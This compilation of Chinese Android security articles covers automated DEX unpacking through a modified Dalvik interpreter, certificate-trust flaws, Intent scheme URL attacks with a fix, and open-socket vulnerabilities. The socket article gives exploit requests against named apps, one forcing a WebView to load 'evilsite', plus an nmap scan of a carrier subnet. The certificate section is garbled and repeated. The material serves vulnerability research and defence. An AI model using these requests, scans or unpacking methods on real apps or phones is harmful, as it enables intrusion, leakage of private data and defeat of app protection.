面对加固程序,当前比较流行和常用的脱壳方法主要是两种方法。一种是静态的逆向分析,其缺点也很明显,难度大而且无法对抗变换算法。另一种主要是基于内存dump技术的脱壳。缺点在于需要考虑先bypass各种反调试的方法,同时还需要面对日益发展和新的层出不穷的反内存dump的各种技巧。例如篡改dex文件头防穷搜,动态篡改dalvik数据结构破坏内存中的DEX文件等等,这些对抗技术让即使dump出DEX文件后,还需要做大量的通过观察加固特性后的人工修复工作。 所以我们提出一种通用的自动化脱壳方法,我们的方法基于动态分析,无需关心各个不同的加固保护具体实现,也可以统一绕过各种反调试的手段,同时也不需要做后期大量的修复工作。 首先我们脱壳的对象是Android应用程序中的DEX文件,因此我们选择直接修改Android系统中Dalvik虚拟机的源代码进行插桩。因为DEX文件中的代码都需要在Dalvik虚拟机上解释执行,所有的真实行为都能在Dalvik虚拟机上暴露。Dalvik有多个解释模式,其中有portable模式是基于C++实现的,而其他模式由于优化的缘故使用平台相关的汇编语言开发,为了方便实现我们的插桩的代码,一旦发现开始解释执行需要被脱壳的APP时,我们先(源码目录dalvik/vm/interp/Interp.cpp)将解释模式改为portable。这么做的一个好处在于直接修改执行环境可以让加壳程序更加难以检测脱壳行为的存在,相比于调试器附加等方法,该方法更为透明。在解释器上做的另一个好处在于不需要去关心加固程序在哪个阶段进行类的加载和初始化以及解密代码等,直接在运行时就能得到最真实的数据和行为。插桩代码实现在Dalvik解释执行的每条指令切换处(dalvik/vm/mterp/out/InterpC-portable.cpp),这样可以在执行过程中的任意指令处进行脱壳的操作,一边应对边运行边解密的加固程序。最后基于源码的修改能够实施真机部署,Android原生源码可以完美支持所有的Nexus系列手机,也不需要去应对加固程序的检测模拟器手段。 脱壳的本质是去获取程序真实的行为,因此插桩代码其实就是去得到内存中的Dalvik数据结构,来反映被执行的真实代码。在指令执行时可以直接得到该条指令属于的方法,Method这个结构。而每个被执行的方法中都有该方法属于的类对象clazz,而clazz(源码目录dalvik/vm/oo/Object.h)中又有pDvmDex(dalvik/vm/DvmDex.h)对象,其中有pDexFile(dalvik/libdex/DexFile.h)结构体代表了DEX文件,也就是说,执行过程中获取当前方法后,用curMethod->clazz->pDvmDex->pDexFile就能够得到这个方法属于的DEX文件结构。该结构体中包含了所有DEX文件在解释其中被执行时的内存信息,通过解析这个DexFile结构体就能恢复出最真实的DEX。

简单脱壳实现

至此,我们的第一个反应是有没有现成的程序,可以去翻译Dalvik字节码的,但是以读入内存中的DexFile结构体为输入,同时可以直接基于源码实现,也就是用C/C++实现的,而不是像更多的静态逆向工具直接以读入一个静态DEX文件为输入。找了下发现Android系统源码里本身就提供了DexDump(dalvik/dexdump/DexDump.cpp)这个工具,直接能满足这个要求。我们对DexDump代码稍作修改,插入到解释器中,如下图: 让他去读取DexFile,默认就直接在一个APP的主Activity处执行这个代码,主Activity可以通过AndroidManifest.xml文件获取,因为该文件中的入口点类都不会被隐藏。 我们发现这样几乎就能够应对大多数加固程序了,能够得到加固程序被隐藏的DEX文件中的真实代码,输出如下图: 但这个方法的缺点也很明显,就是输出是dalvik字节码的文本形式,一方面无法反汇编成Java,另一方面文本形式非常不适合后续的复杂程序的分析,我们的最佳目的是得到一个完整的DEX文件。

完善脱壳实现

通常到上一步,许多其他的脱壳工具为了恢复出完整的DEX文件,会选择直接读取pDexFile->baseAddr或者pDvmDex->memMap为起始地址,直接将整个文件大小的内存dump出来。然而我们发现对某些加固软件,这样dump出来的代码里依然不包含真实的代码,这是由于DEX文件中部分真实信息在运行时被修改和映射到了文件连续内存以外的部分,如下图,一个DEX文件被载入内存后,理应是在一个连续的内存空间中,然后被解析赋值为各个动态执行时Dalvik所需的结构体,而部分索性性质的结构体应该指向连续的data数据块。但加固程序可能会做些修改,例如将header的部分数据篡改,以及重新分配不连续的内存来存放data数据,并让那些索引数据块指向的新分配的data块。这样如果直接用dump的方法,则无法得到完整的DEX文件。 我们旨在以统一的方法恢复出原始的DEX文件,不希望还需要针对的不同的壳来做后续的修复,因为这样又将进入到和静态逆向加固算法一样的困境。因此我们基于上述简单实现,有了个更加完善的实现方案,称之为DEX文件重组。过程非常简单,就是在程序执行过程中先获取所有解释器所需的Dalvik数据结构,这里都是内存中真实的被解释执行的数据结构,然后再将这些数据结构组合重新写回成一个新的DEX文件。如上图所示,即使内存不连续,我们也无需关心他对原始映射内存的操作,可以直接获取每块不连续的数据,按照一定的规范去把这些数据重组成一个新的DEX文件。 第一步是去准确获取每个Dalvik数据机构,为了保证获取的准确性,我们采取的方式是和运行中解释器中去执行程序时的获取方式一致(参考DexFile.h 文件中的dexGetXXXX方法),因为一个DEX文件,同一块数据可能有很多种方式去获取的,打个比方,常量字符串可以去读文件头里的偏移去获取,也可以通过stringId列表去获取,等等。正常情况下这些方式都应该是正确的,但是加固程序会去做一些破坏。但它不能去破坏运行时这些数据被获取时用的数据,因为这个一旦破坏,程序就无法正常运行了。具体的获取方式如下图所示: 我们需要遍历每个数组(如pStringIds,pProtoIds,…,pClassDefs)里的某些指针和偏移,每项中都逐一获取,将其内容再合并成一个大类(如stringData,typeList,…,ClassData,Code)。接着获取完重写的时候,需要注意几个问题。首先是对获取这些数据块的排列问题,我们参考了dalvik/libdex/DexFile.h里的map item type codes枚举的顺序进行排列。排列好需要调整每个数据项里的偏移值为新的偏移,如stringDataOff, parametersOff, interfacesOff, classDataOff, codeOff等,接着对于DexHeader, MapList这两个结构体中的值,我们需要重新计算后填写,而不是直接取原来的值,对于一些固定的值例如Header里面的文件头等,我们根据已有知识直接填写。最后需要考虑到内存中的数据表达和DEX文件中的某些数据格式的差异,例如有些数据项在文件中是ULEB128编码的,而在内存中就直接是int类型,另外还需要注意4字节的对齐,以及encoded_method_format里是field_idx_diff,method_idx_diff而不是简单的index等。具体细节可参考官方的DEX文件格式文档 https://source.android.com/devices/tech/dalvik/dex-format.html 我们在重组的时候忽略了一些数据块,例如所有和annotation相关的数据结构,因为这部分真实程序使用不多,而结构又特别复杂,忽略以后对分析程序真实行为影响不大。

实验与发现

改完代码后,我们重新编译了libdvm模块并将新生成libdvm.so写入系统目录/system/lib/下覆盖掉原始的库文件,我们实验的对象是Galaxy Nexus手机对应Android 4.3版本和Nexus 4手机对应的Android 4.4.2版本。然后我们提交了一个简单的应用程序,送到各个在线加固服务上获取加固后的应用程序版本再实施脱壳。实验发现几乎能够针对所有的加固程序恢复出原始的DEX文件。以下是一些针对加固程序的发现。主要集中在不同的加固所使用的自我保护的手段,这里有些结果是DexDump的文本,因为有些保护措施用这个方式更好的展示出细节,当然全部都能直接恢复成DEX文件。 以上两个例子表明,有些加固程序会将magic number抹去,来隐藏内存中的DEX文件,让穷搜DEX文件的方式失效,另外还会篡改header的大小,以及将header中的各种字段偏移值抹去,由于我们用的方法是对header重新计算,因此重组后的DEX不受其影响。 另外有些加固程序会额外插入一些类来破坏正常的反编译效果,例如这个类就有个方法是能够让dex2jar失效。 还有壳将codeOff改成了负的值,这样代码就会被映射到文件内存范围之外。我们的方法可以直接将代码获取后重新写回到正常的位置。 另外还有壳是重写了某些方法,将代码放入一个新的方法中,并在执行前去解密,执行后再重新抹去。对于这种情况,由于我们脱壳代码插桩于每个方法调用处,因此我们只需要调整脱壳点到该方法执行处去实施脱壳就能恢复出代码了。 除以上例子外,我们还发现某些加固程序会hook进程空间中的write函数,检测写的内容如果是特定的数据(如dex文件头),则让write操作失败,或者获取内存地址空间在映射的DEX文件区域内,也会让write失败等。还有加固程序会将原始的DEX文件分离出多个DEX,以及修改特定的数据项如debug_info_off为错误值,运行时再动态改回正确值。还有壳会在字节码基础上对原始的程序做代码混淆。 (注:以上例子都并非最新版本,不保证特定的加固程序现有产品与上述例子依然一致)

讨论与思考

首先我们的方法依然有局限性,一来在研究对象里说明了我们只针对DEX文件加密保护,并不做反混淆的工作。其次我们的方法依然是基于动态分析,将面临动态分析的局限性,如一段加密代码是运行到才解密,但该方法无法被触发执行,我们的方法也无法解密这个方法的代码。最后用该方法虽然难以被加固程序检测,但用该方法制作的工具在实现上势必会有某些特征,这些特征可能会被加固程序加以利用和对抗。 最后是我想和大家一起探讨的关于更好的Android平台应用程序加固的想法。事实上Android平台的加固破解还是相对容易的,然而并不是没有更难更安全的加固方案,而是在手机平台上商用的加固方案需要考虑到性能损耗和兼容性的问题,这是无法避免的。同时综合这几个方面,我觉得加固保护的趋势和做法发展主要集中在以下的几个点。 一个是我觉得Android混淆和加壳其实可以结合使用。从攻击者的角度来看,我认为强力的混淆可能要比加壳在保护代码逻辑方面更加有效。但是好的混淆方案事实上非常难以设计。目前来看国内的加固几乎不会对原始的代码做大的变换和混淆,可能是怕修改的代码在兼容性上会有问题。我认为这是一个发展点。我发现国外比较优秀的工具会在深度混淆这个点上做文章,比如dexprotector,他既有加壳,也有混淆,即使脱壳成功,还是需要去面对难以理解的混淆后代码。 另外我觉得部分加固的效果在安全性上可能要强过整体加固。就像之前的一个例子,一个方法只有在运行时才解密自己,一旦脱离运行则重新加密或抹掉。这个等于是利用了动态执行覆盖率低的缺陷来进一步保护自己。 第三个就是为了更好的加固效果,加固过程应该尽可能从现在的开发后加固变成开发中的加固。现在有一些加固SDK就是这方面比较好的尝试。直接在开发的过程中敏感的操作使用一个安全库的接口。这个无论是在性能上还是效果都可以对现在的整体一刀切式的加固做个质的提高。熟悉业务的开发人员会很清楚他们需要保护的代码是哪一部分,因为一个程序事实上真正需要被保护的逻辑可能只是很小一部分,加固范围的缩小可以大大提高性能,同时单独的安全库文件可以有针对性的保护措施,效果会非常好,另外比起整个APP加固也更容易做的兼容性测试。 加固另一个思路是尽可能用Native的代码,特别是关键的程序逻辑,Native代码逆向本身就比Java困难,加了混淆或者壳后就更难了,同时Native代码事实上还能在性能上有所提高,是一举两得的方案。由此又可以延伸出如何对Android应用程序中native代码做深度保护的问题,如果敏感操作用深度混淆保护的native代码做保护,则攻击成本势必将极大提升。 最后我觉得加固保护的一个趋势是尽量少的去利用小trick来做防护,比如那些利用静态分析工具的BUG或者系统解析APK的BUG来做加固其实意义不是很大,加固保护更应该从整个计算机系统的体系结构上来考虑和强化,而不应该集中于一些小的技巧。

起因

1、近期icloud.com、yahoo.com、apple.com遭遇到大规模劫持
http://www.wooyun.org/bugs/wooyun-2014-080117
2、乌云平台、CVE都收到大量有关Android APP信任所有证书的漏洞
http://www.wooyun.org/bugs/wooyun-2014-079358
3、老外写有关大表哥的文章中提到MITM时360浏览器不提示证书错误
getAcceptedIssuers() { return acceptedIssuers; } } }, null ); setHostnameVerifier(SSLSocketFactory.STRICT_HOSTNAME_VERIFIER); } @Override public Socket createSocket(Socket socket, String host, int port, boolean autoClose) throws IOException { injectHostname(socket, host); Socket sslSocket = sslCtx.getSocketFactory().createSocket(socket, host, port, autoClose); // throw an exception if the hostname does not match the certificate getHostnameVerifier().verify(host, (SSLSocket) sslSocket); return sslSocket; } @Override public Socket createSocket() throws IOException { return sslCtx.getSocketFactory().createSocket(); } /** * Pre-ICS Android had a bug resolving HTTPS addresses. This workaround fixes that bug. * * @param socket The socket to alter * @param host Hostname to connect to * @see https://code.google.com/p/android/issues/detail?id=13117#c14 */ private void injectHostname(Socket socket, String host) { try { if (Integer.valueOf(Build.VERSION.SDK) >= 4) { Field field = InetAddress.class.getDeclaredField("hostName"); field.setAccessible(true); field.set(socket.getInetAddress(), host); } } catch (Exception ignored) { } } }
用户:使用安全性较好的app

参考


http://drops.wooyun.org/tips/2775' rel='nofollow'/>| 0 == chain.length) { error = new CertificateException("Certificate chain is invalid."); } else if (null == authType || 0 == authType.length()) { error = new CertificateException("Authentication type is invalid."); } else { Log.i(LOG_TAG, "Chain includes " + chain.length + " certificates."); try { for (X509Certificate cert : chain) { Log.i(LOG_TAG, "Server Certificate Details:"); Log.i(LOG_TAG, "---------------------------"); Log.i(LOG_TAG, "IssuerDN: " + cert.getIssuerDN().toString()); Log.i(LOG_TAG, "SubjectDN: " + cert.getSubjectDN().toString()); Log.i(LOG_TAG, "Serial Number: " + cert.getSerialNumber()); Log.i(LOG_TAG, "Version: " + cert.getVersion()); Log.i(LOG_TAG, "Not before: " + cert.getNotBefore().toString()); Log.i(LOG_TAG, "Not after: " + cert.getNotAfter().toString()); Log.i(LOG_TAG, "---------------------------"); // Make sure that it hasn't expired. cert.checkValidity(); // Verify the certificate's public key chain. cert.verify(rootca.getPublicKey()); } } catch (InvalidKeyException e) { error = e; } catch (NoSuchAlgorithmException e) { error = e; } catch (NoSuchProviderException e) { error = e; } catch (SignatureException e) { error = e; } } if (null != error) { Log.e(LOG_TAG, "Certificate error", error); throw new CertificateException(error); } } @Override public X509Certificate
getAcceptedIssuers() { return acceptedIssuers; } } }, null ); setHostnameVerifier(SSLSocketFactory.STRICT_HOSTNAME_VERIFIER); } @Override public Socket createSocket(Socket socket, String host, int port, boolean autoClose) throws IOException { injectHostname(socket, host); Socket sslSocket = sslCtx.getSocketFactory().createSocket(socket, host, port, autoClose); // throw an exception if the hostname does not match the certificate getHostnameVerifier().verify(host, (SSLSocket) sslSocket); return sslSocket; } @Override public Socket createSocket() throws IOException { return sslCtx.getSocketFactory().createSocket(); } /** * Pre-ICS Android had a bug resolving HTTPS addresses. This workaround fixes that bug. * * @param socket The socket to alter * @param host Hostname to connect to * @see https://code.google.com/p/android/issues/detail?id=13117#c14 */ private void injectHostname(Socket socket, String host) { try { if (Integer.valueOf(Build.VERSION.SDK) >= 4) { Field field = InetAddress.class.getDeclaredField("hostName"); field.setAccessible(true); field.set(socket.getInetAddress(), host); } } catch (Exception ignored) { } } }
用户:使用安全性较好的app

参考


http://drops.wooyun.org/tips/2775

http://drops.wooyun.org/papers/959

http://developer.android.com/reference/javax/net/ssl/HttpsURLConnection.html

http://developer.android.com/reference/javax/net/ssl/X509TrustManager.html

http://developer.android.com/training/articles/security-ssl.html

http://developer.android.com/reference/org/apache/http/conn/ssl/SSLSocketFactory.html

0x01 Android Intents with Chrome

Android有一个很少人知道的特性可以通过web页面发送intent来启动apps。以前通过网页启动app是通过设置iframe的src属性,例如:

此方法适用version 18或者更早版本。其他android浏览器也适用。 这个功能在安卓chrome 浏览器version 25之后版本发生了改变。不能在通过设置iframe标签的src属性来启动app了。取而代之的是你应该通过自定义scheme实现用户手势启动app或者使用本文描述的
“intent:”
语法。
1.1 基本语法
“最佳实践”是构造一个intent插入网页中使用户能够登录app。这为您提供了更多的灵活性在控制应用程序是如何启动,包括传通过Intent Extras传递额外信息。 intent-based URI基本语法如下:
intent: HOST/URI-path // Optional host #Intent; package=
; action=
; category=
; component=
; scheme=
; end;
语法细节见源码
https://code.google.com/p/android-source-browsing/source/browse/core/java/android/content/Intent.java?repo=platform--frameworks--base#6514

1.2 简单举例
例子是一个intent登陆应用“Zxing barcode scanner”,语法如下:
intent: //scan/ #Intent; package=com.google.zxing.client.android; scheme=zxing; end;
设置a标签发href属性:
Take a QR code
Package和host定义在配置文件中
https://code.google.com/p/zxing/source/browse/trunk/android/AndroidManifest.xml#97

1.3 注意事项
如果调用activity的intent包含
http://developer.android.com/guide/components/intents-filters.html#extras
,同样可以包含这些。 Activity只有配置了category filter才有被
http://developer.android.com/reference/android/content/Intent.html#CATEGORY_BROWSABLE
通过这种方式在浏览器中打开,因为这样表明其是安全的。
1.4 另请参阅


http://developer.android.com/guide/components/intents-filters.html

http://developer.android.com/guide/components/activities.html

0x02 利用思路

在Android上的Intent-based攻击很普遍,这种攻击轻则导致应用程序崩溃,重则可能演变提权漏洞。当然,通过静态特征匹配,Intent-Based的恶意样本还是很容易被识别出来的。 然而最近出现了一种基于Android Browser的攻击手段——Intent Scheme URLs攻击。这种攻击方式利用了浏览器保护措施的不足,通过浏览器作为桥梁间接实现Intend-Based攻击。相比于普通Intend-Based攻击,这种方式极具隐蔽性,而且由于恶意代码隐藏WebPage中,传统的特征匹配完全不起作用。除此之外,这种攻击还能直接访问跟浏览器自身的组件(无论是公开还是私有)和私有文件,比如cookie文件,进而导致用户机密信息的泄露。

0x03 1.3 Intent scheme URL的用法

看一下Intent Scheme URL的用法。

从用法上看,还是很好理解的,这里的代码等价于如下Java代码:
Intent intent = new Intent("myaction"); intent.setData(Uri.parse("mydata")); intent.setType("text/plain");
再看一个例子:

intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end

上面的语句,等价于如下Java代码:
Intent intent = new Intent("myaction"); intent.setData(Uri.pase("//foobar/")); intent.putExtra("xyz", "123"); intent.putExtra("abc", 678);
其中S代表String类型的key-value,i代表int类型的key-value。 源码中提供了
Intent.parseUri(String uri)
静态方法,通过这个方法可以直接解析uri,如果想更一步了解其中的语法,可以查看官方源码。

0x04 Intent scheme URI的解析及过滤

如果浏览器支持Intent Scheme URI语法,一般会分三个步骤进行处理: 利用
Intent.parseUri
解析uri,获取原始的intent对象; 对intent对象设置过滤规则,不同的浏览器有不同的策略,后面会详细介绍; 通过
Context.startActivityIfNeeded
或者
Context.startActivity
发送intent; 其中步骤2起关键作用,过滤规则缺失或者存在缺陷都会导致Intent Schem URL攻击。 关键函数
Intent.parseUri()
绕过
Intent.setComponent(null);
使用sel;

0x05 乌云案例


-WooYun: qq浏览器IntentScheme处理不当(wooyun-2014-073875) WooYun: 傲游云浏览器远程隐私泄露漏洞(需要一定条件)(wooyun-2014-067798)
某浏览器对此支持非常好
设置绕过Pin码(android 3.0-4.3)

qq浏览器崩溃

打开原生浏览器

发送短信
打开相机
删除应用
添加联系人

0x06 修复

通过以上漏洞的描述,总结得出一种相对比较安全的Intent Filter方法,代码如下:
// convert intent scheme URL to intent object Intent intent = Intent.parseUri(uri); // forbid launching activities without BROWSABLE category intent.addCategory("android.intent.category.BROWSABLE"); // forbid explicit call intent.setComponent(null); // forbid intent with selector intent intent.setSelector(null); // start the activity by the intent context.startActivityIfNeeded(intent, -1);

0x07 参考

http://www.mbsd.jp/Whitepaper/IntentScheme.pdf http://blog.csdn.net/l173864930/article/details/36951805

0x00 简介

Android应用通常使用PF_UNIX、PF_INET、PF_NETLINK等不同domain的socket来进行本地IPC或者远程网络通信,这些暴露的socket代表了潜在的本地或远程攻击面,历史上也出现过不少利用socket进行拒绝服务、root提权或者远程命令执行的案例。特别是PF_INET类型的网络socket,可以通过网络与Android应用通信,其原本用于linux环境下开放网络服务,由于缺乏对网络调用者身份或者本地调用者pid、permission等细粒度的安全检查机制,在实现不当的情况下,可以突破Android的沙箱限制,以被攻击应用的权限执行命令,通常出现比较严重的漏洞。作为Android安全研究的新手,笔者带着传统服务器渗透寻找开放socket端口的思路,竟然也刷了不少漏洞,下面就对这种漏洞的发现、案例及影响进行归纳。

0x01 Android开放端口应用定位

简单地利用命令netstat就可以发现Android开放了许多socket端口,如图。但这些开放端口本后的应用却不得而知。 此时可以通过三步定位法进行寻找(感谢@瘦蛟舞的帖子),支持非root手机。 第一步,利用netstat寻找感兴趣的开放socket端口,如图中的15555。 第二步,将端口转换为十六进制值,查看位于
/proc/net/
目录下对应的socket套接字状态文件,在其中找到使用该socket的应用的uid。如
15555
的十六进制表示为
1cc3
,协议类型为
tcp6
,那么查看
/proc/net/tcp6
文件。 注意上面的10115,就是使用该socket的应用的uid。通过这个uid可以得知应用的用户名为u0_a115。 第三步,根据用户名就可以找到应用了 至此,我们就知道开放15555端口的应用为com.qiyi.video,尽管我们还不能分辨出开放该端口的准确进程,但仍然为进一步的漏洞挖掘打下基础。 写一个简单的脚本来自动化的完成此项工作.
#!python import subprocess,re def toHexPort(port): hexport = str(hex(int(port))) return hexport.strip('0x').upper() def finduid(protocol, entry): if (protocol=='tcp' or protocol=='tcp6'): uid = entry.split()
else: # udp or udp6 uid = entry.split()
uid = int(uid) if (uid > 10000): # just for non-system app return 'u0_a'+str(uid-10000) else: return -1 def main(): netstat_cmd = "adb shell netstat | grep -Ei 'listen|udp*'" #netstat_cmd = "adb shell netstat " grep_cmd = "adb shell grep" proc_net = "/proc/net/" # step 1, find interesting port orig_output = subprocess.check_output(netstat_cmd, shell=True) list_line = orig_output.split('\r\n') apps =
strip_listline =
pattern = re.compile("^Proto") # omit the first line for line in list_line: if (line != '') and (pattern.match(line)==None): # step 2, find uid in /proc/net/
based on port socket_entry = line.split() protocol = socket_entry
port = socket_entry
.split(':')
grep_appid = grep_cmd+' '+ toHexPort(port)+' '+proc_net + protocol net_entry = subprocess.check_output(grep_appid, shell=True) uid = finduid(protocol, net_entry) # step 3, find app username based on uid if (uid == -1): continue applist = subprocess.check_output('adb shell ps | grep '+uid, shell=True).split() app = applist
apps.append(app) strip_listline.append(line) itapp= iter(apps) itline=iter(strip_listline) # last, add app in orig_output of sockets print ("Package Proto Recv-Q Send-Q Local Address Foreign Address State\r\n") try: while True: print itapp.next()+' '+itline.next() except StopIteration: pass if __name__ == '__main__': main()
运行结果如下 除了PF_INET套接字外,PF_UNIX、PF_NETLINK套接字的状态文件分别位于
/proc/net/unix

/proc/net/netlink
。 当然,如果手机已root,可直接使用
busybox
安装目录下带p参数的netstat命令,可以显示pid和不完整的program name。

0x02 漏洞挖掘实例

得知某个应用开放某个端口以后,接下就可以在该应用的逆向代码中搜索端口号(通常是端口号的16进制表示),重点关注
ServerSocket(tcp)

DatagramSocket(udp)
等类,定位到关键代码,进一步探索潜在的攻击面,下面列举一些漏洞实例。 1、敏感信息泄露、控制手机 WooYun-2015-94537:某service打开udp的65502端口监听,接收特定的命令字后可返回手机的敏感信息,包括手机助手远程管理手机的SecretKey,进而未授权的攻击者可通过网络完全管理手机。 CVE-2014-8757, LG On-Screen Phone预装App认证绕过漏洞。 2、命令执行 这类漏洞比较常见,通常通过开放socket端口传入启动android应用组件的intent,然后以被攻击应用的权限执行启动activity、发送广播等操作。由于通过socket传入的intent,无法对发送者的身份和权限进行细粒度检查,绕过了Android提供的对应用组件的权限保护,能够启动未导出的和受权限保护的应用组件,对安全造成影响。 如果监听的端口是在本地,那么可能造成本地命令执行和权限提升,而如果监听的端口是任意地址,则可能造成比较严重的远程命令执行。 3、本地命令执行: 用前面端口应用定位的方法,发现某流行应用实现了一个小型的HTTP Server,监听本地的9527端口,简单搜索分析即可发现向该端口发送如下形式的HTTP请求时可执行命令。

http://127.0.0.1:9527/si?cmp=_&data=&act=

通过这个简单的HTTP请求,恶意程序就可以传入intent对象的包名、组件名、url和action,接收HTTP请求后执行命令的代码如下:
#!java ... if(v3.hasNext()) { Object v6 = v3.next(); if("act".equals(v6)) { v4.setAction(v10.b.get(v6)); } if("cmp".equals(v6)) { String
v9 = v10.b.get(v6).split("_"); if(v9 == null) { goto label_39; } if(v9.length != 2) { goto label_39; } v4.setComponent(new ComponentName(v9
, v9
)); } label_39: if("data".equals(v6)) { v4.setData(Uri.parse(v10.b.get(v6))); } if(!"callback".equals(v6)) { goto label_13; } Object v1_1 = v10.b.get(v6); goto label_13; } if((TextUtils.isEmpty(v4.getAction())) && v4.getComponent() == null && v4.getData() == null) { if(TextUtils.isEmpty(((CharSequence)v1))) { return "{\"result\":-20000}"; } return this.a(v1, "{\"result\":-20000}"); } List v0 = this.a.getPackageManager().queryIntentActivities(v4, 0); if(v0.size() == 0) { if(TextUtils.isEmpty(((CharSequence)v1))) { return "{\"result\":-10000}"; } return this.a(v1, "{\"result\":-10000}"); } try { this.a.startActivity(v4); } ...
最终通过HTTP请求设置的Intent对象,传入了startActivity方法,由于需要用户干预,危害并不大。但当packagename指定为该应用自身,
componentname
指定为该应用的activity时,可以启动该应用的任意activity,包括受保护的未导出activity,从而对安全造成影响。例如,通过HTTP请求,逐一启动若干未导出的activity,可以发现拒绝服务漏洞、对安全有影响的登录界面和有一个可以该应用权限执行任意命令的GUI shell。 远程命令执行:
1. 趋势科技曾经发现过美团客户端漏洞,可以通过TCP的9527端口传入intent data,进而启动activity,见参考文献
. 2. 远程强制webview访问恶意链接
定位到某流行应用实现了一个小型的HTTP Server,在tcp的6677端口监听任意地址,当HTTP请求满足一定条件时可以返回敏感信息,并根据请求消息执行一系列动作。对于该HTTP请求,仅有的防御措施是通过referer白名单的方式判断HTTP请求的来源。在正确设置referer,发送如下HTTP GET请求后

http://ip:6677/command?param1=value1&...¶mn=valuen

可获取手机的敏感信息和实现命令执行。其中command为getpackageinfo、androidamap、geolocation中的其一,见如下代码片段。 (1)当command为geolocation时,可返回安装该应用手机地理位置信息; (2)当command为getpackageinfo时,默认返回该应用自身的版本信息。此时若指定参数param1为packagename,即请求
http://ip:6677/getpackageinfo?packagename=xxx
时(xxx为软件包名)可返回手机上安装的xxx所指定的任意软件包版本信息。若xxx为android,可返回android系统版本信息; (3)当command为
androidamap
时,设置Intent并将其广播出去,查看对应的OnReceive方法 发现需要指定参数param1为action,即请求

http://ip:6677/androidamap?action=yyy¶m2=value2&...¶mn=valuen

时,
OnReceive
方法取出前面广播
intent
对象的
extra
,新建一个intent对象,设置intent uri为

androidamap://yyy?sourceApplication=web¶m2=value2&...¶mn=valuen

并以隐式intent的形式启动注册这种uri scheme的activiy。 进一步搜索发现如下代码:
#!java Uri v0_2 = Uri.parse("androidamap://openFeature?featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=" + this.a.m.privilegeLink); Intent v1 = new Intent(MovieDetailHeaderView.c(this.a).getApplicationContext(), NewMapActivity.class); v1.setData(v0_2); v1.setFlags(268435456); MovieDetailHeaderView.c(this.a).startActivity(v1);
表明可以通过远程HTTP GET请求如下地址

http://ip:6677/androidamap?action=openFeature&featureName=OpenURL&sourceApplication=banner&urlType=0&contentType=autonavi&url=evilsite

操纵安装该app的手机继承WebView的Activity访问evilsite,而且这里存在WebView的漏洞,利用方式包括 (1). 窃取私有目录下的敏感文件:远程攻击者或者本地恶意app可以令WebView加载file://域的恶意脚本文件,按照恶意脚本的请求,窃取该应用私有目录下的敏感文件,突破android沙箱限制; (2). WebView远程命令执行:存在可被网页中js操纵的接口jsinterface。由于该流行应用针对的SDK版本较低(android:minSdkVersion="8"),在Android 4.4.2以下的手机,均可使用该接口,通过js注入该应用进程执行命令。

0x03 漏洞利用场景

对于Android app开放socket端口漏洞的远程利用场景,一般认为Android客户端都在内网,其利用主要还是在非安全的公共WiFi环境,通过对漏洞特征扫描即可利用。但在传统认为安全的移动互联网环境,笔者发现仍然可以扫描到其他开放端口的终端,因此也可以利用这种漏洞。 叙述之前,我们先对典型的移动通信网络架构进行简单的科普,一般教科书上的3G网络架构(WCDMA)如图。 包括以下组成部分: UE: 用户终端设备,就是手机,为用户提供电路域和分组域内的各种业务功能。 UTRAN: 陆地无线接入网,分为基站(Node B)和无线网络控制器(RNC)两部分。 CN: 核心网络,负责与其他网络的连接和对UE 的通信和管理。主要功能实体包括: (1) MSC/VLR:提供CS(电路交换)域的呼叫控制、移动性管理、鉴权和加密等功能; (2) GMSC:网关移动交换中心,充当移动网和固定网之间的移动关口局,承担路由分析、网间接续、网间结算等重要功能; (3) SGSN:GPRS服务支持节点,提供PS(分组交换)域的路由转发、移动性管理、会话管理、鉴权和加密等功能; (4) GGSN:网关GPRS支持节点,提供数据包在WCDMA 移动网和外部数据网之间的路由和封装,GGSN就好象是可寻址WCDMA移动网络中所有用户IP 的路由器,需要同外部网络交换路由信息。 (5) HLR:归属位置寄存器,提供用户的签约信息存放、新业务支持、增强的鉴权等功能。 External Networks:外部网络,包括ISDN和PSTN等电路交换网络,以及Internet等分组交换网络。 简而言之,移动通信网络无非是大型的“局域网“,它们通过网关路由器(SGSN和GGSN)连上了Internet,进入到了互联网的世界。但是在某些移动通信网络的内部,不同的UE是可以互访的。以前面某应用开放6677端口为例,我们可以做一个简单的实验进行证明。 使用联通3G网络,查看当前IP地址。 在相邻C段进行扫描,扫描到开放端口的手机
nmap -sT --open -p6677 10.160.112.0/24
发现如下结果 这证明在移动网络中,不同的UE可以互访。因此如果开放上述socket端口的app存在漏洞,在移动网络中也是可以利用的。

0x04 小结

对于客户端的远程漏洞利用,从攻击者的角度来看,通常更容易使用“受”的方法,即通过欺骗、劫持或社工的方法来让客户端访问我的攻击载荷。然而,从笔者发现的漏洞案例来看,许多Android应用不正确地使用网络socket端口传入命令进行跨进程通信,而且对于本地应用环境,网络socket也先天缺乏细粒度的认证授权机制,因此把Android客户端当做服务器,使用“攻”的方法,主动向开放端口发送攻击载荷也是可行的。这种漏洞一旦存在,轻则本地提权,重则为远程利用的高危漏洞,3G移动网络允许UE互访更是加剧了这种风险。 此外,除
PF_INET
外,
PF_UNIX

PF_NETLINK
域的套接字也是值得关注的本地攻击面。 参考文献:

http://blog.trendmicro.com/trendlabs-security-intelligence/open-socket-poses-risks-to-android-security-model

屏幕录制漏洞(CVE-2015-3878),Android Activtity Security,Adobe Reader 任意代码执行分析(附POC),App Injection&&Drozer Use,Bound Service攻击,Broadcast Security,Content Provider Security,SDK漏洞(CVE-2014-8889)分析,Java层的anti-hooking技巧,Android Linker学习笔记, Logcat Security,SecureRandom漏洞详解, Service Security,Android UXSS阶段性小结及自动化测试 ,WebView File域攻击杂谈,sqlite load_extension漏洞解析,uncovers master-key 漏洞分析,Cydia 脱壳机制作,xposed Http流量监控,Android勒索软件研究报告,Provider组件安全,浅谈密钥硬编码,Android密码学相关,二维码漏洞攻击杂谈,安全开发之浅谈网页打开APP,安全开发之源码安全,安全开发之无意识的数据泄露,隐藏及反调试技术浅析,通用自动脱壳方法研究,证书信任问题,Intent scheme URL attack,开放端口的安全风险,知识盒子,知识付费,在线教育